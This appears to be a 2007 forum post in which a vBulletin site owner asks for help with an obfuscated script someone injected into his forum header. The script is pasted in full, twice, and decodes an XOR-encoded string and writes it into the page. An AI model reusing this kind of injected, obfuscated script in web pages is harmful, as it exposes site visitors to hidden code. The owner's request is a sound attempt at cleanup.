kevin_kirk
06-05-2007, 10:59 PM
I wonder if someone could help - someone has pasted a javascript virus in the forum header on my site; it is the first thing that appears on the index page.
I've pasted it below (after replacing the java script word) so you can see were it is. How do I get rid of it and what does it do? The version of vb is V3.0.3
Thanks
Kevin
<script language="REPLACED">e = '0x00' + '52';str1 = "%E9%B1%BA%A7%CD%A0%A1%AA%B9%B6%EE%F3%A7%BA%A0%BA%B 3%BA%B9%BA%A1%AA%EB%B5%BA%B1% B1%B6%BF%F3%EF%E9%BA%B7%A3%B2%BE%B6%CD%A0%A3%B0%EE %F3%B5%A1%A1%BD%EB%FC%FC%B1%BA %BF%B2%B0%BF%A1%FF%BA%BF%B7%BC%FC%B9%B1%FC%B4%A3%B 6%AA%FC%F3%CD%A4%BA%B1%A1%B5%E E%E2%CD%B5%B6%BA%B4%B5%A1%EE%E2%EF%E9%FC%BA%B7%A3% B2%BE%B6%EF%E9%FC%B1%BA%A7%EF" ;str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>
<!-- no cache headers -->
<meta http-equiv="Pragma" content="no-cache" />
I've pasted it below (after replacing the java script word) so you can see were it is. How do I get rid of it and what does it do? The version of vb is V3.0.3
Thanks
Kevin
<script language="REPLACED">e = '0x00' + '52';str1 = "%E9%B1%BA%A7%CD%A0%A1%AA%B9%B6%EE%F3%A7%BA%A0%BA%B 3%BA%B9%BA%A1%AA%EB%B5%BA%B1% B1%B6%BF%F3%EF%E9%BA%B7%A3%B2%BE%B6%CD%A0%A3%B0%EE %F3%B5%A1%A1%BD%EB%FC%FC%B1%BA %BF%B2%B0%BF%A1%FF%BA%BF%B7%BC%FC%B9%B1%FC%B4%A3%B 6%AA%FC%F3%CD%A4%BA%B1%A1%B5%E E%E2%CD%B5%B6%BA%B4%B5%A1%EE%E2%EF%E9%FC%BA%B7%A3% B2%BE%B6%EF%E9%FC%B1%BA%A7%EF" ;str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" lang="en">
<head>
<!-- no cache headers -->
<meta http-equiv="Pragma" content="no-cache" />